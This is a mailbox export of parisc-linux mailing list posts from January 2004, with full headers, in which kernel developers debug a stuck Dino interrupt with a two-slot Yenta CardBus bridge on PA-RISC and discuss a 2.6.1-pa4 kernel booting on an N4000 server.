List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 18 Jan 2004 23:45:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20651

On Sun, 2004-01-18 at 14:59, Helge Deller wrote:
> Dino fff80000: stuck interrupt 4
> cs IO ports 0x0-0x7 allocated in parent Dino I/O Port

Erk, I assume this is a yenta socket with two PCMCIA slots?

I wasn't sure what the setting should be when I constructed the code in
the pa patch set (I only did it to get my PCI<->cardbus bridge working
with a single slot yenta PCI card).

What information does the Yenta driver print?

James




From - Thu Nov 08 21:30:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32bit parisc kernel 2.6.1 and pcmcia
Date: Sun, 18 Jan 2004 22:59:55 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20040119055955.GF25295@colo.lackof.org>
References: <200401182059.34270.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623135 4655 80.91.229.3 (22 Nov 2014 02:25:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:35 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: grundler@lackof.org  Sun Jan 18 22:59:57 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64D19486E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Jan 2004 22:59:57 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 2A31D29804A; Sun, 18 Jan 2004 22:59:56 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 25699-07; Sun, 18 Jan 2004 22:59:55 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 49102298036; Sun, 18 Jan 2004 22:59:55 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200401182059.34270.deller@gmx.de>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Jan 2004 05:59:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20652

On Sun, Jan 18, 2004 at 08:59:34PM +0100, Helge Deller wrote:
> Dino fff80000: stuck interrupt 4

The message means the IRQ was asserted and whatever handlers
are registered for that IRQ did not clear the IRQ level.

> Any ideas why I get the above "Dino fff80000: stuck interrupt 4" message ?
> It seems further interrupts are not delivered to serial_cs....

When the PCI IRQ line is asserted, dino will only generate one
interrupt to the CPU. CPU needs to read DINO_ILR and verify the IRQ
has been de-asserted after the interrupt handler has been called.
If PCI IRQ line is still asserted, we first assume several devices
share the line and call the interrupt handlers again (goto ilr_again).
If the PCI IRQ line is still asserted after testing ILR several times,
(well, 100 times to be exact - see ilr_loop) , then we assume a HW defect.
We driver writers don't like to admit something didn't register for
the proper interrupt. But that is likely the case here and explains
the message and only one interrupt.

I'd be curious if both sockets report the same IRQ (4) when
inserting the PCMCIA card.

BTW, since PARISC doesn't tolerate accessing invalid MMIO addresses 
like x86 does, it wouldn't surprise me if you see HPMC's during
PCMCIA device removal/eject operations. I suspect (but don't know
for sure) that card eject on x86 only works becuase x86
returns garbage (-1 or 0 or something) for reads to non-responding
address spaces.

hth,
grant


From - Thu Nov 08 21:30:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32bit parisc kernel 2.6.1 and pcmcia
Date: Mon, 19 Jan 2004 10:03:07 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <200401191003.07494.deller@gmx.de>
References: <200401182059.34270.deller@gmx.de>
	<20040119055955.GF25295@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623135 4657 80.91.229.3 (22 Nov 2014 02:25:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:35 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Mon Jan 19 02:03:10 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 2ECAC486E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Jan 2004 02:03:10 -0700 (MST)
Original-Received: (qmail 32418 invoked by uid 65534); 19 Jan 2004 09:03:08 -0000
Original-Received: from pD90407B1.dip.t-dialin.net (EHLO p100) (217.4.7.177)
	by mail.gmx.net (mp009) with SMTP; 19 Jan 2004 10:03:08 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6
In-Reply-To: <20040119055955.GF25295@colo.lackof.org>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Jan 2004 09:03:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20653

On Monday 19 January 2004 06:59, Grant Grundler wrote:
> On Sun, Jan 18, 2004 at 08:59:34PM +0100, Helge Deller wrote:
> > Dino fff80000: stuck interrupt 4
> 
> The message means the IRQ was asserted and whatever handlers
> are registered for that IRQ did not clear the IRQ level.
> 
> > Any ideas why I get the above "Dino fff80000: stuck interrupt 4" message ?
> > It seems further interrupts are not delivered to serial_cs....
> 
> When the PCI IRQ line is asserted, dino will only generate one
> interrupt to the CPU. CPU needs to read DINO_ILR and verify the IRQ
> has been de-asserted after the interrupt handler has been called.
> If PCI IRQ line is still asserted, we first assume several devices
> share the line and call the interrupt handlers again (goto ilr_again).
> If the PCI IRQ line is still asserted after testing ILR several times,
> (well, 100 times to be exact - see ilr_loop) , then we assume a HW defect.

Yes, that's exactly what I see:
rdi:~# cat /proc/interrupts
           CPU00
 98:        100  Dino parisc8:0  yenta
 99:          0  Dino parisc8:0  yenta

> We driver writers don't like to admit something didn't register for
> the proper interrupt. But that is likely the case here and explains
> the message and only one interrupt.
> 
> I'd be curious if both sockets report the same IRQ (4) when
> inserting the PCMCIA card.

Yes, I get this "Dino fff80000: stuck interrupt 4"  when inserting the 
card in any of the two slots.

> BTW, since PARISC doesn't tolerate accessing invalid MMIO addresses 
> like x86 does, it wouldn't surprise me if you see HPMC's during
> PCMCIA device removal/eject operations. I suspect (but don't know
> for sure) that card eject on x86 only works becuase x86
> returns garbage (-1 or 0 or something) for reads to non-responding
> address spaces.

Happend not yet :-)
Let's see, when the driver tries to access the card....

Thanks for the explanation,
Helge


From - Thu Nov 08 21:30:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32bit parisc kernel 2.6.1 and pcmcia
Date: Mon, 19 Jan 2004 10:07:19 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <200401191007.19929.deller@gmx.de>
References: <200401182059.34270.deller@gmx.de>
	<1074469497.1805.25.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623136 4659 80.91.229.3 (22 Nov 2014 02:25:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:36 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Mon Jan 19 02:07:23 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 5557E486E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Jan 2004 02:07:22 -0700 (MST)
Original-Received: (qmail 15046 invoked by uid 65534); 19 Jan 2004 09:07:21 -0000
Original-Received: from pD90407B1.dip.t-dialin.net (EHLO p100) (217.4.7.177)
	by mail.gmx.net (mp011) with SMTP; 19 Jan 2004 10:07:21 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6
In-Reply-To: <1074469497.1805.25.camel@mulgrave>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Jan 2004 09:07:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20654

On Monday 19 January 2004 00:44, James Bottomley wrote:
> On Sun, 2004-01-18 at 14:59, Helge Deller wrote:
> > Dino fff80000: stuck interrupt 4
> > cs IO ports 0x0-0x7 allocated in parent Dino I/O Port
> 
> Erk, I assume this is a yenta socket with two PCMCIA slots?

Yes.
 
> I wasn't sure what the setting should be when I constructed the code in
> the pa patch set (I only did it to get my PCI<->cardbus bridge working
> with a single slot yenta PCI card).
> 
> What information does the Yenta driver print?

dmesg gives:
Dino parisc8:0 version 3.1 found at 0xfff80000
PCI: Bus 1, cardbus bridge: 0000:00:02.0
PCI: Bus 5, cardbus bridge: 0000:00:02.1
SCSI subsystem initialized
Linux Kernel Card Services
  options:  [pci] [cardbus]
....
Yenta: CardBus bridge found at 0000:00:02.0 [0000:0000]
Yenta: ISA IRQ mask 0x0000, PCI irq 98
Socket status: 30000007
Yenta: CardBus bridge found at 0000:00:02.1 [0000:0000]
Yenta: ISA IRQ mask 0x0000, PCI irq 99
Socket status: 30000007

rdi:~# lspci -v
00:02.0 CardBus bridge: Cirrus Logic PD 6832 PCMCIA/CardBus Ctrlr (rev c1)
        Flags: bus master, medium devsel, latency 168, IRQ 98
        Memory at f0800000 (32-bit, non-prefetchable) [size=4K]
        Bus: primary=00, secondary=01, subordinate=04, sec-latency=176
        Memory window 0: f0900000-f09ff000
        Memory window 1: f0a00000-f0aff000
        I/O window 0: 00000400-000004ff
        I/O window 1: 00000800-000008ff
        16-bit legacy interface ports at 0001

00:02.1 CardBus bridge: Cirrus Logic PD 6832 PCMCIA/CardBus Ctrlr (rev c1)
        Flags: bus master, medium devsel, latency 168, IRQ 99
        Memory at f0801000 (32-bit, non-prefetchable) [size=4K]
        Bus: primary=00, secondary=05, subordinate=08, sec-latency=176
        Memory window 0: f0b00000-f0bff000
        Memory window 1: f0c00000-f0cff000
        I/O window 0: 00000c00-00000cff
        I/O window 1: 00001000-000010ff


Helge


From - Thu Nov 08 21:30:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] init and exit text problem
Date: Mon, 19 Jan 2004 12:16:40 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <40047B6A000037F2@ocpmta2.freegates.net>
References: <20040117081720.GA29918@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623136 4662 80.91.229.3 (22 Nov 2014 02:25:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:36 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, Randolph Chung <tausq@debian.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: soete.joel@tiscali.be  Mon Jan 19 05:37:10 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1215C4891
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Jan 2004 05:37:10 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AiYeK-0002Hf-00; Mon, 19 Jan 2004 13:37:00 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 19 Jan 2004 12:16:40 +0100
In-Reply-To: <20040117081720.GA29918@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Jan 2004 12:37:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20655

Grant,

A great news: your kernel (2.6.1-pa4) boot well on the N4000-55 :)
palx4000:/var/logs# dmesg | more
Linux version 2.6.1-pa4 (grundler@ios) (gcc version 3.0.4) #10 Sat Jan 17
00:04:07 PST 2004
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
Determining PDC firmware type: 64 bit PAT.
model 00005d30 00000491 00000000 00000002 27988e5d 100000f1 00000008 000000b2
000000b2
vers  00000301
CPUID vers 18 rev 11 (0x0000024b)
capabilities 0x1
model 9000/800/N4000-55
Total Memory: 2048 Mb
On node 0 totalpages: 524288
  DMA zone: 524288 pages, LIFO batch:16
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
Building zonelist for node : 0
Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=3/vmlinux-2.6.1-pa4
PID hash table entries: 16 (order 4: 256 bytes)
[snip]

:))

>2.6.1 kernel with this patch and "bridge_ctl" PCI patch from
>Russell King are uploaded to ftp.p-l.o:kernels/a500/2.6.1-pa4.tgz

If i well find back your mail and references to this "bridge_ctl" patch otc
I don't reach to apply Russel's patch like this (against 2.6.1) to test on
my B2k (which you know don't work yet with pdc_cons). Can you make your "bridge_ctl"
patch available on ftp.p-l.o?

Thanks again for all,
    Joel

PS: an additional question regarding pdc_cons: in 2.4 there was a device
driver in devices/char/pdc_console.[ch] which allowing to use ttyB device.
But in 2.6 there isn't anymore such driver? any idea?

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32bit parisc kernel 2.6.1 and pcmcia
Date: 19 Jan 2004 09:35:41 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <1074522943.2201.1.camel@mulgrave>
References: <200401182059.34270.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623136 4668 80.91.229.3 (22 Nov 2014 02:25:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:36 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: James.Bottomley@SteelEye.com  Mon Jan 19 07:35:52 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81C1A4891
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Jan 2004 07:35:52 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i0JEZja02759; Mon, 19 Jan 2004 09:35:45 -0500
In-Reply-To: <200401182059.34270.deller@gmx.de>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Jan 2004 14:35:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20656

On Sun, 2004-01-18 at 14:59, Helge Deller wrote:
> ..now inserting my TDK ISDN/serial modem PCMCIA card....

Sorry, I'm an idiot...these type of cards don't seem to work (they seem
to require ISA IRQ routing rules, which we can't provide).

Do you have a network or wireless card you could try instead?

James




From - Thu Nov 08 21:30:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32bit parisc kernel 2.6.1 and pcmcia
Date: 19 Jan 2004 09:38:54 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <1074523135.2201.6.camel@mulgrave>
References: <200401182059.34270.deller@gmx.de>
	<1074469497.1805.25.camel@mulgrave> <200401191007.19929.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623137 4670 80.91.229.3 (22 Nov 2014 02:25:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:37 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: James.Bottomley@SteelEye.com  Mon Jan 19 07:39:03 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 552E04891
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Jan 2004 07:39:03 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i0JEcwa02957; Mon, 19 Jan 2004 09:38:58 -0500
In-Reply-To: <200401191007.19929.deller@gmx.de>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Jan 2004 14:39:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20657

On Mon, 2004-01-19 at 04:07, Helge Deller wrote:
> Yenta: CardBus bridge found at 0000:00:02.0 [0000:0000]
> Yenta: ISA IRQ mask 0x0000, PCI irq 98
> Socket status: 30000007
> Yenta: CardBus bridge found at 0000:00:02.1 [0000:0000]
> Yenta: ISA IRQ mask 0x0000, PCI irq 99
> Socket status: 30000007

Hmm, that's not too good.  It should look something like

Yenta: CardBus bridge found at 0000:00:02.0 [0000:0000]
Yenta: setting irqmux to INTA,INTB
Yenta: Enabling burst memory read transactions
Yenta: Using CSCINT to route CSC interrupts to PCI
Yenta: Routing CardBus interrupts to PCI
Yenta: ISA IRQ mask 0x0000, PCI irq 98
Socket status: 30000410
cs MEM ports 0xf0804000-0xf0804fff allocated in parent Dino parisc8:0
LMMIO 0
 others)
cs IO ports 0x0-0x3f allocated in parent Dino I/O Port

The relevant points are the lines routing all the interrupts to PCI
(because we can't do ISA interrupts).

The fixes I put into yenta were only for the PCI1410 (well, 13xx) yenta
sockets, probably something extra has to be done to fix this one up.

James




From - Thu Nov 08 21:30:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] init and exit text problem
Date: Mon, 19 Jan 2004 11:57:18 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20040119185718.GA872@colo.lackof.org>
References: <20040117081720.GA29918@colo.lackof.org>
	<40047B6A000037F2@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623137 4673 80.91.229.3 (22 Nov 2014 02:25:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:37 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Mon Jan 19 11:57:20 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B9B74868
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Jan 2004 11:57:20 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 9BD91298046; Mon, 19 Jan 2004 11:57:19 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 01221-07; Mon, 19 Jan 2004 11:57:19 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0523529803A; Mon, 19 Jan 2004 11:57:18 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <40047B6A000037F2@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Jan 2004 18:57:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20658

On Mon, Jan 19, 2004 at 12:16:40PM +0100, Joel Soete wrote:
> Grant,
> 
> A great news: your kernel (2.6.1-pa4) boot well on the N4000-55 :)

awesome! thanks for trying it.

> If i well find back your mail and references to this "bridge_ctl" patch otc
> I don't reach to apply Russel's patch like this (against 2.6.1) to test on
> my B2k (which you know don't work yet with pdc_cons). Can you make your "bridge_ctl"
> patch available on ftp.p-l.o?

yes - certainly ftp://ftp.parisc-linux.org/patches/diff-2.6.1-bridge_ctl

> PS: an additional question regarding pdc_cons: in 2.4 there was a device
> driver in devices/char/pdc_console.[ch] which allowing to use ttyB device.
> But in 2.6 there isn't anymore such driver? any idea?

sorry - I don't know.

grant


From - Thu Nov 08 21:30:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jools Smyth <jools@oxfordinspire.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Stability / Kernel 2.6.1 / HD Freezes
Date: Mon, 19 Jan 2004 19:30:26 +0000
Organization: Oxford Inspire
Lines: 37
Approved: news@gmane.org
Message-ID: <200401191930.27090.jools@oxfordinspire.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623137 4677 80.91.229.3 (22 Nov 2014 02:25:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:37 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: jools@oxfordinspire.co.uk  Mon Jan 19 12:33:55 2004
Return-Path: <jools@oxfordinspire.co.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hp9000.workshop (oxfordinspire.co.uk [62.3.242.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14FB648E9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Jan 2004 12:33:55 -0700 (MST)
Original-Received: from inspiron.workshop ([192.168.1.8])
	by hp9000.workshop with esmtp (Exim 4.30) id 1Aif76-0000Kt-I7
	for parisc-linux@lists.parisc-linux.org; Mon, 19 Jan 2004 19:31:08 +0000
User-Agent: KMail/1.5.4
Content-Disposition: inline
